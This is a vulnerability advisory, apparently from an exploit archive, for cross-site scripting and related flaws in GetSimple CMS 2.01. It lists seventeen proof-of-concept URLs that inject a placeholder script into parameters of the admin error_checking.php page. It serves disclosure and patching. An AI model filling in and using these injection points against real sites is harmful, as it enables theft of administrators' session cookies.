GetSimple CMS 2.01 admin/template/error_checking.php Multiple Parameter XSS

source: http://www.securityfocus.com/bid/41697/info

GetSimple CMS is prone to multiple cross-site scripting vulnerabilities, multiple local file-include vulnerabilities, an HTML-injection vulnerability, and a directory-traversal vulnerability.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, to retrieve and possibly execute arbitrary files through the use of directory-traversal strings, to obtain potentially sensitive information, or to execute arbitrary local scripts in the context of the webserver process.

GetSimple CMS 2.01 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/template/error_checking.php?upd=bak-success&i18n[ER_BAKUP_DELETED]=[XSS]
http://www.example.com/admin/template/error_checking.php?upd=bak-err&i18n[ER_REQ_PROC_FAIL]=[XSS]
http://www.example.com/admin/template/error_checking.php?upd=bak-err&i18n[ERROR]=[XSS]
http://www.example.com/admin/template/error_checking.php?upd=edit-success&ptype=edit&i18n[ER_YOUR_CHANGES]=[XSS]
http://www.example.com/admin/template/error_checking.php?upd=edit-success&ptype=restore&i18n[ER_HASBEEN_REST]=[XSS]
http://www.example.com/admin/template/error_checking.php?upd=edit-success&ptype=delete&i18n[ER_HASBEEN_DEL]=[XSS]
http://www.example.com/admin/template/error_checking.php?upd=edit-success&ptype=delete&i18n[UNDO]=[XSS]
http://www.example.com/admin/template/error_checking.php?upd=edit-index&i18n[ER_CANNOT_INDEX]=[XSS]
http://www.example.com/admin/template/error_checking.php?restored=true&i18n[ER_OLD_RESTORED]=[XSS]
http://www.example.com/admin/template/error_checking.php?upd=pwd-success&i18n[ER_NEW_PWD_SENT]=[XSS]
http://www.example.com/admin/template/error_checking.php?upd=pwd-error&i18n[ER_SENDMAIL_ERR]=[XSS]
http://www.example.com/admin/template/error_checking.php?upd=del-success&i18n[ER_FILE_DEL_SUC]=[XSS]
http://www.example.com/admin/template/error_checking.php?upd=del-error&i18n[ER_PROBLEM_DEL]=[XSS]
http://www.example.com/admin/template/error_checking.php?upd=comp-success&i18n[ER_COMPONENT_SAVE]=[XSS]
http://www.example.com/admin/template/error_checking.php?upd=comp-restored&i18n[ER_COMPONENT_REST]=[XSS]
http://www.example.com/admin/template/error_checking.php?cancel=test&i18n[ER_CANCELLED_FAIL]=[XSS]
http://www.example.com/admin/template/error_checking.php?err=true&msg=[XSS]